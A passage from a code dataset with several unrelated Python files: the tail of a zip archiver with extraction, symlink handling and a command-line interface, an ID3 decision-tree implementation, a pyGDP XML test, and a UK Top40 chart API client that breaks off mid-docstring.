\".\" and \"..\" components.\n arcname = os.path.splitdrive(arcname)[1]\n invalid_path_parts = ('', os.path.curdir, os.path.pardir)\n arcname = os.path.sep.join(\n x for x in arcname.split(os.path.sep) if x not in invalid_path_parts\n )\n if os.path.sep == '\\\\':\n # filter illegal characters on Windows\n arcname = self._sanitize_windows_name(arcname, os.path.sep)\n\n targetpath = os.path.join(targetpath, arcname)\n targetpath = os.path.normpath(targetpath)\n\n # Deal with duplicates\n if os.path.exists(targetpath):\n if self.overwriteDuplicates:\n if member.is_dir():\n shutil.rmtree(targetpath)\n else:\n os.remove(targetpath)\n else:\n # Don't rename dirs, only files\n if not member.is_dir():\n targetpath, name = os.path.split(targetpath)\n for name in self.get_unique_filename(name):\n name = os.path.join(targetpath, name)\n if not os.path.exists(name):\n targetpath = name\n break\n\n # Create all upper directories if necessary.\n upperdirs = os.path.dirname(targetpath)\n if upperdirs and not os.path.exists(upperdirs):\n os.makedirs(upperdirs)\n\n if member.is_dir():\n if not os.path.isdir(targetpath):\n os.mkdir(targetpath)\n return targetpath\n\n if symlink:\n os.symlink(symlink, targetpath, isdir)\n else:\n with self.open(member, pwd=pwd) as source, \\\n open(targetpath, \"wb\") as target:\n shutil.copyfileobj(source, target)\n\n self._update_progressbar()\n\n return targetpath\n\n def write(\n self, filename, arcname=None, compress_type=None, compresslevel=None\n ):\n '''\n Better zipfile.write which supports writing\n symlinks and directories\n\n Put the bytes from filename into the archive under the name\n arcname.\n '''\n if self.is_ignored(filename):\n return\n\n if arcname is None:\n arcname = \"{}/{}\".format(\n os.path.splitext(self.arcname)[0],\n os.path.basename(filename.rstrip(\"/\"))\n )\n\n if self.progressbar and not self.renderingProcess.is_alive():\n if self.useBarPrefix:\n member = os.path.basename(filename.rstrip(\"/\"))\n self.prefix.value = f\"Writing \\\"{member}\\\" : \".encode()\n if os.path.isfile(filename):\n self.counter.value = -1\n self.unit.value = b\"\"\n self._create_progressbar(1)\n self._start_progressbar()\n\n self._write_member(filename, arcname, compress_type, compresslevel)\n\n self._finish_progressbar()\n\n def _write_member(self, filename, arcname, compress_type=None, compresslevel=None):\n '''\n Real zipfile.write, recursive\n '''\n if self.is_ignored(filename):\n return\n\n symlink = None\n\n # Check if file is a symlink\n if os.path.islink(filename):\n # Try to get real file if needed\n if self.symlinksToFiles:\n try:\n filename = os.path.realpath(filename, strict=True)\n arcname = os.path.dirname(arcname)\n arcname = f\"{arcname}/{os.path.basename(filename)}\"\n except OSError:\n # failed to follow the link\n # file doesn't exist or a symbolic link loop was found\n # so write link as it is\n symlink = True\n\n if not self.symlinksToFiles or symlink:\n # symlink file content\n symlink = \"{},{},{}\".format(\n os.path.basename(filename),\n os.readlink(filename),\n os.path.isdir(filename)\n )\n # generate new arcname\n arcname = os.path.dirname(arcname)\n arcname = f\"{arcname}/__symlink__{hashlib.md5(symlink.encode()).hexdigest()}\"\n\n # Check for dir trailing slash\n if os.path.isdir(filename) and symlink is None:\n if not arcname.endswith(\"/\"):\n arcname += \"/\"\n\n # Is it need to create a file?\n create = True\n\n # Deal with duplicates\n if arcname in self.namelist():\n if self.overwriteDuplicates:\n # If member cannot be removed, create = False\n create = self.remove(arcname)\n else:\n # Don't rename dirs, only files\n if not arcname.endswith(\"/\"):\n arcname, name = os.path.split(arcname)\n for name in self.get_unique_filename(name):\n name = f\"{arcname}/{name}\"\n if name not in self.namelist():\n arcname = name\n break\n else:\n # Dir already exist\n create = False\n\n if not arcname.endswith(\"/\"):\n if create:\n if symlink is None:\n super().write(\n filename, arcname, compress_type, compresslevel\n )\n else:\n super().writestr(\n arcname, symlink, compress_type, compresslevel\n )\n\n self._update_progressbar()\n\n else:\n if create:\n super().write(filename, arcname, compress_type, compresslevel)\n\n for file in sorted(os.listdir(filename)):\n self._write_member(\n filename=os.path.join(filename, file),\n arcname=os.path.join(arcname, file),\n compress_type=compress_type,\n compresslevel=compresslevel\n )\n\n def remove(\n self, member: zipfile.ZipInfo | str, pwd: bytes | None = None\n ) -> bool:\n '''\n Remove a file or folder from the archive.\n The archive must be open with mode 'a'\n\n CPython commit 659eb048cc9cac73c46349eb29845bc5cd630f09\n\n Args:\n member (zipfile.ZipInfo | str): Member\n pwd (bytes | None): Password to decrypt files\n\n Raises:\n RuntimeError: remove() requires mode 'a'\n ValueError: Attempt to write to ZIP archive that was already closed\n ValueError: Can't write to ZIP archive while an open writing handle exists.\n\n Returns:\n bool: Whether it was removed or not. False means the file was in ignore.\n For a folder, this means that there are files left inside it that are in ignore.\n '''\n if self.mode != 'a':\n raise RuntimeError(\"remove() requires mode 'a'\")\n if not self.fp:\n raise ValueError(\n \"Attempt to write to ZIP archive that was already closed\"\n )\n if self._writing:\n raise ValueError(\n \"Can't write to ZIP archive while an open writing handle exists.\"\n )\n\n # Make sure we have an info object\n if isinstance(member, str):\n # get the info object\n member = self.getinfo(member)\n\n if self.is_ignored(member.filename):\n return False\n\n if self.progressbar and not self.renderingProcess.is_alive():\n if self.useBarPrefix:\n filename = os.path.basename(member.filename.rstrip(\"/\"))\n self.prefix.value = f\"Removing \\\"{filename}\\\" : \".encode()\n if not member.is_dir():\n self.counter.value = -1\n self.unit.value = b\"\"\n self._create_progressbar(1)\n self._start_progressbar()\n\n removed = True\n\n if member.is_dir():\n names = [\n name for name in self.namelist() if member.filename in name\n ]\n # inverse to remove members from subdirectories first\n dirs = []\n files = []\n for name in names:\n if name.endswith(\"/\"):\n dirs.insert(0, name)\n else:\n files.insert(0, name)\n # duplicate files list\n names = files.copy()\n # remove files first, then subdirectories\n for file in files:\n file = self.getinfo(file)\n removedFile = self._remove_member(file, pwd)\n # if file in ignore, ignore whole subdirectory\n if not removedFile:\n subdir = os.path.dirname(file.filename) + \"/\"\n if subdir in dirs:\n dirs.remove(subdir)\n else:\n names.remove(file.filename)\n removed &= removedFile\n # clean up empty subdirs\n for subdir in dirs:\n files = [file for file in names if subdir in file]\n if not files:\n subdir = self.getinfo(subdir)\n self._remove_member(subdir, pwd)\n else:\n removed &= self._remove_member(member, pwd)\n\n self._finish_progressbar()\n return removed\n\n def _remove_member(\n self, member: zipfile.ZipInfo, pwd: bytes | None = None\n ) -> bool:\n '''\n Remove member from archive\n\n Args:\n member (zipfile.ZipInfo): Member\n pwd (bytes | None): Password to decrypt files\n\n Returns:\n bool: Whether it was removed or not. False means the file was in ignore.\n '''\n arcname = member.filename\n\n # Symlinks real name handling\n if os.path.basename(arcname).startswith(\"__symlink__\"):\n with self.open(member, pwd=pwd) as source:\n symlink = source.readline().decode()\n filename = symlink.split(\",\")[0]\n arcname = os.path.dirname(arcname)\n arcname = f\"{arcname}/{filename}\"\n\n if self.is_ignored(arcname):\n return False\n\n # get a sorted filelist by header offset, in case the dir order\n # doesn't match the actual entry order\n fp = self.fp\n entry_offset = 0\n filelist = sorted(self.filelist, key=attrgetter('header_offset'))\n for i in range(len(filelist)):\n info = filelist[i]\n # find the target member\n if info.header_offset < member.header_offset:\n continue\n\n # get the total size of the entry\n entry_size = None\n if i == len(filelist) - 1:\n entry_size = self.start_dir - info.header_offset\n else:\n entry_size = filelist[i + 1].header_offset - info.header_offset\n\n # found the member, set the entry offset\n if member == info:\n entry_offset = entry_size\n continue\n\n # Move entry\n # read the actual entry data\n fp.seek(info.header_offset)\n entry_data = fp.read(entry_size)\n\n # update the header\n info.header_offset -= entry_offset\n\n # write the entry to the new position\n fp.seek(info.header_offset)\n fp.write(entry_data)\n fp.flush()\n\n # update state\n self.start_dir -= entry_offset\n self.filelist.remove(member)\n del self.NameToInfo[member.filename]\n self._didModify = True\n\n # seek to the start of the central dir\n fp.seek(self.start_dir)\n\n if not member.is_dir():\n self._update_progressbar()\n\n return True\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser(description=\"Zip File Archiver\")\n parser.add_argument(\n \"filepath\",\n help=\"path to zip, if file doesn't exist it will be created\"\n )\n parser.add_argument(\n \"-e\",\n \"--extract\",\n nargs=\"*\",\n help=(\n \"members to extract from zip. \"\n \"use '/' argument to extract all archive members\"\n )\n )\n parser.add_argument(\n \"-w\",\n \"--write\",\n nargs=\"*\",\n help=(\n \"files to write to zip. \"\n \"use '/' argument to write all files in the current directory to an archive\"\n )\n )\n parser.add_argument(\n \"-r\",\n \"--remove\",\n nargs=\"*\",\n help=(\n \"members to remove from zip. \"\n \"use '/' argument to remove archive completely\"\n )\n )\n parser.add_argument(\n \"-d\",\n \"--destination\",\n default=None,\n help=\"different directory to extract to\"\n )\n parser.add_argument(\n \"-p\",\n \"--password\",\n type=os.fsencode,\n default=None,\n help=\"password to decrypt files, writing is not supported\"\n )\n parser.add_argument(\n \"--preferred-encoding\",\n default=\"cp866\",\n help=\"encoding to use when guessing filenames original\"\n )\n parser.add_argument(\n \"--ignore\",\n nargs=\"*\",\n default=[],\n help=\"filenames to ignore\"\n )\n parser.add_argument(\n \"--overwrite-duplicates\",\n action=\"store_true\",\n help=\"overwrite file if it exists, when writing or extracting\"\n )\n parser.add_argument(\n \"--symlinks-to-files\",\n action=\"store_true\",\n help=\"replace symbolic links with the files they point\"\n )\n parser.add_argument(\n \"-l\",\n \"--list\",\n action=\"store_true\",\n help=\"show listing of a zipfile\"\n )\n parser.add_argument(\n \"-t\",\n \"--test\",\n action=\"store_true\",\n help=\"test if zipfile is valid\"\n )\n args = parser.parse_args()\n\n if args.write or os.path.exists(args.filepath):\n with ZipFile(\n file=args.filepath,\n mode=\"a\",\n preferredEncoding=args.preferred_encoding,\n ignore=args.ignore,\n overwriteDuplicates=args.overwrite_duplicates,\n symlinksToFiles=args.symlinks_to_files,\n progressbar=True\n ) as zip:\n if args.extract:\n # on windows users need \"create symbolic links\" rights\n # to create a symlink. by default, normal users don't have it\n # but administrator does\n if os.name == \"nt\":\n try:\n from common import run_as_admin\n except ModuleNotFoundError:\n def run_as_admin():\n print(\"Make sure you run this script as administrator\")\n run_as_admin()\n\n if \"/\" in args.extract:\n zip.extractall(path=args.destination, pwd=args.password)\n else:\n members = zip.namelist()\n for member in args.extract:\n if member in members:\n zip.extract(\n member=member,\n path=args.destination,\n pwd=args.password\n )\n else:\n print(f\"extract: There is no member named \\\"{member}\\\"\")\n\n if args.write:\n if \"/\" in args.write:\n args.write.extend(os.listdir())\n args.write.remove(\"/\")\n for filename in args.write:\n if os.path.exists(filename):\n zip.write(filename)\n else:\n print(f\"write: File \\\"{filename}\\\" doesn't exist\")\n\n if args.remove:\n if \"/\" in args.remove:\n zip.filelist = []\n else:\n members = zip.namelist()\n for member in args.remove:\n if member in members:\n zip.remove(member, args.password)\n else:\n print(f\"remove: There is no member named \\\"{member}\\\"\")\n\n if args.list:\n zip.printdir()\n\n if args.test:\n badfile = zip.testzip()\n if badfile:\n print(\n \"The following enclosed file is corrupted: {!r}\".format(badfile)\n )\n print(\"Done testing\")\n\n else:\n print(f\"open: File \\\"{args.filepath}\\\" doesn't exist\")\n","repo_name":"2trvl/dotfiles","sub_path":"scripts/archiver.py","file_name":"archiver.py","file_ext":"py","file_size_in_byte":42613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"69916478876","text":"from math import log\nimport operator\nfrom decision_tree import tree_plotter\n\n\ndef create_data_set():\n \"\"\"\"\n 创建样本数据\n :return 数据集及特征集\n \"\"\"\n data_set = [[1, 1, 'yes'], [1, 0, 'no'], [0, 1, 'no'], [1, 1, 'yes'], [0, 1, 'no']]\n labels = ['不浮出水面生存', '有脚蹼']\n return data_set, labels\n\n\ndef cal_shannon_ent(data_set):\n \"\"\"\"\n 计算数据集的信息熵\n :param data_set: 数据集\n :return 熵值\n \"\"\"\n # 获取数据集的样本数量\n num = len(data_set)\n # 为所有分类类目创建字典\n label_counts = {}\n for feat_vec in data_set:\n # 获取样本最后一列的数据,记录每个类别出现的次数\n current_label = feat_vec[-1]\n if current_label not in label_counts.keys():\n label_counts[current_label] = 0\n label_counts[current_label] += 1\n # 计算熵\n shannon_ent = 0.0\n for key in label_counts:\n prob = float(label_counts[key]) / num\n shannon_ent = shannon_ent - prob * log(prob, 2)\n return shannon_ent\n\n\ndef split_data_set(data_set, axis, value):\n \"\"\"\n 返回特征值等于value的子数据集,且该数据集不包含特定特征\n :param data_set: 等待划分的数据集\n :param axis: 已选择的特征的索引\n :param value: 分类值\n :return: 划分的子数据集\n \"\"\"\n # 划分的子数据集\n ret_data_set = []\n for feat_vec in data_set:\n if feat_vec[axis] == value:\n # 移除该特征\n reduce_feat_vec = feat_vec[:axis]\n reduce_feat_vec.extend(feat_vec[axis + 1:])\n ret_data_set.append(reduce_feat_vec)\n return ret_data_set\n\n\ndef choose_best_feature_to_split(data_set):\n \"\"\"\n 根据最大信息增益划分数据\n :param data_set: 样本数据集\n :return: 信息增益最大的特征的下标\n \"\"\"\n # 定义最大的信息增益\n best_info_gain = 0\n # 定义最大信息增益对应的特征下标\n best_feature_idx = -1\n # 特征个数\n num_feature = len(data_set[0]) - 1\n # 数据集的信息熵\n base_entropy = cal_shannon_ent(data_set)\n for feature_idx in range(num_feature):\n # 获取某一特征所有的值\n feature_val_list = [row[feature_idx] for row in data_set]\n # 获取无重复的属性特征值\n unique_feature_val_list = set(feature_val_list)\n\n new_entropy = 0\n for feature_val in unique_feature_val_list:\n # 获取根据该特征值划分的子树\n sub_data_set = split_data_set(data_set, feature_idx, feature_val)\n # 求各个子树的熵并求和\n prob = len(sub_data_set) / float(len(data_set))\n new_entropy += prob * cal_shannon_ent(sub_data_set)\n # 计算该特征的信息增益\n info_gain = base_entropy - new_entropy\n if info_gain > best_info_gain:\n best_info_gain = info_gain\n best_feature_idx = feature_idx\n return best_feature_idx\n\n\ndef majority_cnt(class_list):\n \"\"\"\n 统计每个类别出现的次数,从大到小排序,返回次数最大的类别标签\n :param class_list: 类数组\n :return: 次数出现最多的类别\n \"\"\"\n # 统计类别个数的字典\n class_count = {}\n for kind in class_list:\n if kind not in class_count.keys():\n class_count[kind] = 0\n class_count[kind] += 1\n # 降序排列\n sorted_class_count = sorted(class_count.items(), key=operator.itemgetter(1), reversed=True)\n # print(sorted_class_count[0][0])\n return sorted_class_count[0][0]\n\n\ndef create_tree(data_set, labels):\n \"\"\"\n 构建决策树\n :param data_set: 建树的数据集\n :param labels: 特征集\n :return: 根据传入的数据集和特征集生成的决策树\n \"\"\"\n # 获取类别列表\n class_list = [data[-1] for data in data_set]\n # 如果所有的类别都相同的话,停止划分,即单节点\n # 对应的step1\n if class_list.count(class_list[-1]) == len(class_list):\n return class_list[-1]\n # 如果类别的长度为1的话,则返回次数出现最多的类别\n # 对应的step2\n if len(class_list[0]) == 1:\n return majority_cnt(class_list)\n\n # 不符合上述情况的时候,选取信息增益最大的特征进行划分\n # 对应的step3及以后\n # 获取最大信息增益的特征下标\n best_feature_idx = choose_best_feature_to_split(data_set)\n # 该特征的名字\n best_feature_label = labels[best_feature_idx]\n # 构建树的字典\n tree = {best_feature_label: {}}\n # 从标签集合中删除选中的这个分类,因为即将用这个分类建子树\n del (labels[best_feature_idx])\n # 获取该特征属性所有的值\n best_feature_values = [feature_values[best_feature_idx] for feature_values in data_set]\n # 去重复\n unique_best_feature_values = set(best_feature_values)\n for best_feature_value in unique_best_feature_values:\n # 去除该分类后的分类集合\n sub_labels = labels[:]\n # 获取划分后的子数据集\n sub_data_set = split_data_set(data_set, best_feature_idx, best_feature_value)\n # 调用create_tree函数递归建树\n tree[best_feature_label][best_feature_value] = create_tree(sub_data_set, sub_labels)\n return tree\n\n\ndef classify(input_tree, feat_labels, test_vec):\n \"\"\"\n 决策树分类\n :param input_tree: 决策树\n :param feat_labels: 特征标签\n :param test_vec: 测试的数据\n :return:\n \"\"\"\n # 获取树的第一层\n first_str = list(input_tree.keys())[0]\n # 第一层的子树\n second_dict = input_tree[first_str]\n # 获取决策树的第一层特征在特征数组中的位置\n feat_index = feat_labels.index(first_str)\n # 第二层开始递归调用该函数\n for key in second_dict.keys():\n if test_vec[feat_index] == key:\n if type(second_dict[key]).__name__ == 'dict':\n class_label = classify(second_dict[key], feat_labels, test_vec)\n else:\n class_label = second_dict[key]\n return class_label\n\n\n# test\ndata_set, labels = create_data_set()\ndecision_tree = create_tree(data_set, labels)\nprint(\"决策树\", decision_tree)\ndata_set, labels = create_data_set()\nprint(\"不浮出水面可以生存,有脚蹼:\", classify(decision_tree, labels, [1, 1]))\nprint(\"不浮出水面不可以生存,有脚蹼:\", classify(decision_tree, labels, [0, 1]))\nprint(\"不浮出水面不可以生存,无脚蹼:\", classify(decision_tree, labels, [0, 0]))\ntree_plotter.create_plot(decision_tree)\n","repo_name":"InModeration/DataMining","sub_path":"decision_tree/id3.py","file_name":"id3.py","file_ext":"py","file_size_in_byte":6694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"37480266255","text":"import os\nfrom pyGDP import gdpXMLGenerator\nfrom owslib.etree import etree\nfrom nose.tools import assert_equal\n\nclass TestUploadXMLGeneration(object):\n\n def test_gdpXMLGenerator(self):\n #Define test environment variables (they are forom production GDP; no actual web calls will be made)\n upload_URL = 'http://cida.usgs.gov/gdp/geoserver'\n filename = 'CIDA_TEST_'\n\n #Read in encoded shapefile data from associated test encode file.\n #This is how it's done in full pyGDP so we'll do the same thing here\n testfile = os.path.join(os.getcwd(), 'testEncodeData.txt')\n encodeData = open(testfile, 'r')\n filedata =encodeData.read()\n encodeData.close()\n\n #Instantiate an XMLGenerator object and create the xml.etree_Element upload object\n xmlGen = gdpXMLGenerator()\n testXML = xmlGen.getUploadXMLtree(filename, upload_URL, filedata)\n\n #Assert that the new XML is equal to same XML under working pyGDP conditions\n assert_equal(len(etree.tostring(testXML)), 6217)\n","repo_name":"jordansread/pyGDP","sub_path":"Lettuce_Tests/old_tests/testUploadXML.py","file_name":"testUploadXML.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"27366108323","text":"from __future__ import print_function\nimport tempfile\n\nfrom future.standard_library import hooks\n\n# Import urljoin for V2 and V3 - http://python-future.org/compatible_idioms.html\nwith hooks():\n from urllib.parse import urljoin\n\n__author__ = 'Danny Goodall'\nimport requests\nimport requests.exceptions\nimport requests_cache\nfrom booby import Model, fields\nfrom codefurther.errors import CodeFurtherConnectionError, CodeFurtherError, CodeFurtherHTTPError, CodeFurtherReadTimeoutError\n\n\nclass Change(Model):\n \"\"\"The Change model that describes the change of this entry since last week's chart.\n\n This class isn't made publicly visible, so it should never really need to be initialised manually. That said,\n it is initialised by passing a series of keyword arguments, like so::\n\n change = Change(\n direction = \"down\",\n amount = 2,\n actual = -2\n )\n\n The model does not feature any validation.\n\n Args:\n \\*\\*kwargs: Keyword arguments with the fields values to initialize the model.\n Attributes:\n direction (str): The direction of the change \"up\" or \"down\".\n amount (int): The amount of change in chart position expressed as a positive integer.\n actual (int): The amount of the change in chart position expressed as positive or negative (or 0).\n Returns:\n :py:class:`Change`: The Change model instance created from the passed arguments.\n \"\"\"\n direction = fields.String()\n amount = fields.Integer()\n actual = fields.Integer()\n\n\nclass Entry(Model):\n \"\"\"The Entry model that contains the details about the chart entry, a Change Model is embedded in each Entry model.\n\n Args:\n position (:py:class:`int`): The position of this entry in the chart.\n previousPosition (:py:class:`int`): The position of this entry in the previous week's chart.\n numWeeks (:py:class:`int`): The number of weeks this entry has been in the chart.\n artist (:py:class:`str`): The name of the artist for this entry.\n title (:py:class:`str`): The title of this entry.\n change (:py:class:`Change`): The embedded change model that describes the change in position.\n status (:py:class:`str`): **NEW in dev6** The text status from the BBC chart - takes the format of\n \"new\" ¦ \"up 3\" ¦ \"down 4\" ¦ \"non-mover\". Not used in Ben Major's V1 API - optional\n Attributes:\n position (:py:class:`int`): The position of this entry in the chart.\n previousPosition (:py:class:`int`): The position of this entry in the previous week's chart.\n numWeeks (:py:class:`int`): The number of weeks this entry has been in the chart.\n artist (:py:class:`str`): The name of the artist for this entry.\n title (:py:class:`str`): The title of this entry.\n change (:py:class:`Change`): The embedded change model that describes the change in position.\n status (:py:class:`str`): **NEW in dev6** The text status from the BBC chart - takes the format of\n \"new\" ¦ \"up 3\" ¦ \"down 4\" ¦ \"non-mover\". Not used in Ben Major's V1 API - optional\n Returns:\n :class:`Entry`: The Entry model instance created from the arguments.\n \"\"\"\n\n position = fields.Integer()\n previousPosition = fields.Integer()\n numWeeks = fields.Integer()\n artist = fields.String()\n title = fields.String()\n change = fields.Embedded(Change)\n\n # Status is optional\n status = fields.String(required=False)\n\n\nclass Chart(Model):\n \"\"\"The Chart model that contains the embedded list of entries.\n\n Args:\n entries (:py:class:`list` of :py:class:`dict`): A list of Python dictionaries. Each dictionary describes each\n :class:`Entry` type in the chart, so the keys in the dictionary should match the properties of the\n :class:`Entry` class.\n date (:py:class:`int`): The date of this chart as an integer timestamp containing the total number of seconds.\n retrieved (:py:class:`int`): The date that this chart was retrieved from the API server as an integer timestamp\n containing the total number of seconds.\n current (:py:class:`bool`): **Optional**. A flag used in V2 of the API to signify if the last scheduled read from the BBC's\n server worked on not. A value ``True`` means that the returned chart is the latest version that we have\n tried to read. A value of ``False`` means that the chart that is being returned is old. In all liekliehood\n the chart is probably still in accurate as it is only updated once per week, so this flag only means that\n the last scheduled read from the BBC's server did not work.\n Attributes:\n entries (:py:class:`list` of :py:class:`Entry`): A list of :py:class:`Entry` types for each entry in the\n specific :py:class:`Chart`. The entries are returned in the :py:class:`list` with the highest chart position\n (i.e. the lowest number - #1 in the chart) first.\n date (:py:class:`int`): The date of this chart as an integer timestamp containing the total number of seconds.\n This value can then be converted to a Python :py:class:`datetime.datetime` type by\n ``datetime_type = datetime.datetime.fromtimestamp(chart.date)``\n (assuming that the ``chart`` variable was of type :py:class:`Chart`).\n retrieved (:py:class:`int`): The date that this chart was retrieved from the API server as an integer timestamp\n containing the total number of seconds. This can be converted to a datetime type in the same as described\n for ``date`` above.\n current (:py:class:`bool`): **Optional**. A flag used in V2 of the API to signify if the last scheduled read from the BBC's\n server worked on not. A value ``True`` means that the returned chart is the latest version that we have\n tried to read. A value of ``False`` means that the chart that is being returned is old. In all liekliehood\n the chart is probably still in accurate as it is only updated once per week, so this flag only means that\n the last scheduled read from the BBC's server did not work.\n Returns:\n Chart (:py:class:`Chart`): The Chart model instance created from the arguments.\n\n \"\"\"\n date = fields.Integer()\n retrieved = fields.Integer()\n entries = fields.Collection(Entry)\n current = fields.Boolean(required=False)\n\n\nclass Top40(object):\n \"\"\" Provides the programmer with properties that return the Top 40 chart data.\n\n The programmer creates an instance of this object, and then uses the exposed properties to access the data about\n the singles and albums charts.\n\n Creates and returns the object instance.\n\n All results will be cached for the duration of the existence of this instance in memory. However, if\n cache_duration is specified (not None), then results will be persisted to a local\n sqlite DB for the duration, in seconds, or cache_duration. A config for requests cache can also\n be passed in cache_config too, or if None, the default setting is used.\n\n Args:\n base_url (str): The base url of the remote API before the specific service details are appended.\n For example, the base url might be \"a.site.com/api/\", and the service \"/albums/\", when appended to the\n base url, creates the total url required to access the album data.\n cache_duration (:py:class:`int`): If None, then the persistent cache will be disabled. Otherwise\n the cache duration specified will be used.\n cache_config (:py:class:`dict`): If None the default config will be used to pass to the\n ``install_cache`` method of requests_cache, otherwise the config in this parameter will be used.\n Any 'expire_after' key in the cache config will be replaced and the duration set to\n cache_duration.\n Attributes:\n error_format (str): The format string to be used when creating error messages.\n base_url (:py:class:`str`): The base url used to access the remote api\n cache_duration (:py:class:`int`): The duration in seconds that results will be returned from the cache before\n a fresh read of the external API will replace them.\n cache_config (:py:class:`dict`): A dictionary that describes the config that will be passed to the\n ``request_cache`` instance - allowing different backends and other options to be set.\n Returns:\n Top40 (:py:class:`Top40`): The Top40 instance.\n \"\"\"\n error_format = \"Received an error whist reading from {}: Returned code: {}\"\n\n def __init__(self, base_url=\"http://ben-major.co.uk/labs/top40/api/\",\n cache_duration=3600,\n cache_config=None):\n\n # Store the base url that we will append our service url enpoints to\n self.base_url = base_url\n\n # If cache_duration is not None, then we will use a persistent request_cache\n self.cache_duration = cache_duration\n\n # If we've been passed a different config, then we should use that instead of the class-level version\n if cache_config is None:\n self.cache_config = {\n 'cache_name': '{}/top40cache'.format(\n tempfile.gettempdir()\n )\n }\n else:\n self.cache_config = cache_config\n\n # The cache_duration tells us how long responses will be cached in\n # persistent storage (in seconds)\n self.reset_cache(self.cache_duration)\n\n def reset_cache(self, cache_duration=None):\n \"\"\"Remove any cached singles or albums charts\n\n Because the UK Top40 charts only change once per week, :py:class:`Top40` will cache the results of singles and\n albums. This means that during the execution of a program, repeated calls to retrieve singles and albums chart\n information will only actually call the remote API once. If, for whatever reason you need to ensure that an\n attempt to access single or album information actually results in a call to the remote API, then calling the\n :py:meth:`Top40.reset_cache` method will do this, by clearing down any existing cached chart information.\n\n If a cache is in place, then the results will also be cached across python runtime executions.\n\n Params:\n cache_duration (:py:class:`int`): If ``None`` we will uninstall the requests cache and the next\n read from the API will cause a remote call to be executed. Otherwise it specifies the number of\n seconds before the persistent cache will expire.\n \"\"\"\n\n if cache_duration is None:\n # We are disabling the existing persistent_cache\n requests_cache.uninstall_cache()\n else:\n # We are setting a persistent cache so insert the duration into our cache config\n self.cache_config['expire_after'] = cache_duration\n\n # and then install the cache with this configuration\n requests_cache.install_cache(**self.cache_config)\n\n # Remember the new duration\n self.cache_duration = cache_duration\n\n # Rest the in-memory caches to force a read from remote site\n self._albums_chart = None\n self._singles_chart = None\n\n def _get_data(self, service_url, params=None):\n \"\"\"Internal routine to retrieve data from the external service.\n\n The URL component that is passed is added to the base URL that was specified when the object was instantiated.\n Additional params passed will be passed to the API as key=value pairs, and the return data converted from JSON\n to a Python :class:`dict` .\n\n Args:\n service_url (str): The remote url to connect to.\n params (dict): Additional parameters will be passed as key=value pairs to the URL as query variables\n ?key=value.\n Returns:\n response (JSON): A JSON document converted to Python equivalent classes.\n Raises:\n Top40HTTPError (:py:class:`~errors.Top40HTTPError`): If a status code that is not 200 is returned\n Top40ConnectionError (:py:class:`~errors.Top40ConnectionError`): If a connection could not be established to the remote server\n Top40ReadTimeoutError (:py:class:`~errors.Top40ReadTimeoutError`): If the remote server took too long to respond\n \"\"\"\n # TODO - Change the Munch references to dict\n\n if not params:\n params = {}\n\n # Build the full url from the base url + the url for this service\n full_url = urljoin( self.base_url, service_url.lstrip('/'))\n try:\n response = requests.get(full_url, params=params)\n except requests.exceptions.HTTPError as e:\n message = Top40.error_format.format(\n service_url,\n e.response.status_code\n )\n raise CodeFurtherHTTPError(message, e.response.status_code)\n except (requests.exceptions.ConnectionError, requests.exceptions.SSLError, requests.exceptions.ConnectTimeout):\n raise CodeFurtherConnectionError(\"Could not connect to remote server.\")\n except requests.exceptions.ReadTimeout:\n raise CodeFurtherReadTimeoutError(\"The remote server took longer than expected to reply.\")\n except Exception as e:\n raise\n\n # Check for status code and raise Top40HTTPError if a non 200 result is received.\n if response.status_code != 200:\n message = Top40.error_format.format(\n service_url,\n response.status_code\n )\n raise CodeFurtherHTTPError(message, response.status_code)\n\n # Treat the response text as JSON and return the Python equivalent\n return response.json()\n\n def _get_albums_chart(self):\n \"\"\"Internal routine to pull the albums chart information into the cache\n \"\"\"\n albums = self._get_data(\"/albums\")\n self._albums_chart = Chart(**albums)\n\n\n @property\n def albums_chart(self):\n \"\"\"A ``property`` that returns the :py:class:`Chart` object for the current Top40 albums\n\n Returns:\n :py:class:`Chart`: The albums' chart object - an instance of the :class:`Chart` class containing the album\n information and the and the issue and retrieval dates specific to this chart.\n Raises:\n Top40HTTPError (:py:class:`~errors.Top40HTTPError`): If a status code that is not 200 is returned\n Top40ConnectionError (:py:class:`~errors.Top40ConnectionError`): If a connection could not be established to the remote server\n Top40ReadTimeoutError (:py:class:`~errors.Top40ReadTimeoutError`): If the remote server took too long to respond\n \"\"\"\n if self._albums_chart is None:\n self._get_albums_chart()\n return self._albums_chart\n\n @property\n def albums(self):\n \"\"\"A ``property`` that returns a :py:class:`list` of album :py:class:`Entry` types.\n\n Returns:\n :py:class:`list` : A :py:class:`list` of :class:`Entry` instances. Each entry describes an album in the\n chart.\n Raises:\n Top40HTTPError (:py:class:`~errors.Top40HTTPError`): If a status code that is not 200 is returned\n Top40ConnectionError (:py:class:`~errors.Top40ConnectionError`): If a connection could not be established to the remote server\n Top40ReadTimeoutError (:py:class:`~errors.Top40ReadTimeoutError`): If the remote server took too long to respond\n \"\"\"\n albums_chart = self.albums_chart\n return albums_chart.entries\n\n def _get_singles_chart(self):\n \"\"\"Internal routine to pull the singles chart information into the cache\n \"\"\"\n singles = self._get_data(\"/singles\")\n self._singles_chart = Chart(**singles)\n\n @property\n def singles_chart(self):\n \"\"\"A ``property`` that returns the :py:class:`Chart` object for the current Top40 singles\n\n Returns:\n :py:class:`Chart`: The singles' chart object - an instance of the :class:`Chart` class containing the\n singles information and the issue and retrieval dates specific to this chart.\n Raises:\n Top40HTTPError (:py:class:`~errors.Top40HTTPError`): If a status code that is not 200 is returned\n Top40ConnectionError (:py:class:`~errors.Top40ConnectionError`): If a connection could not be established to the remote server\n Top40ReadTimeoutError (:py:class:`~errors.Top40ReadTimeoutError`): If the remote server took too long to respond\n \"\"\"\n if self._singles_chart is None:\n self._get_singles_chart()\n return self._singles_chart\n\n @property\n def singles(self):\n \"\"\"A ``property`` that returns a list of single entries.\n\n Returns:\n :py:class:`list`: A :py:class:`list` of :class:`Entry` instances. Each entry describes a single in the\n chart.\n Raises:\n Top40HTTPError (:py:class:`~errors.Top40HTTPError`): If a status code that is not 200 is returned\n Top40ConnectionError (:py:class:`~errors.Top40ConnectionError`): If a connection could not be established to the remote server\n Top40ReadTimeoutError 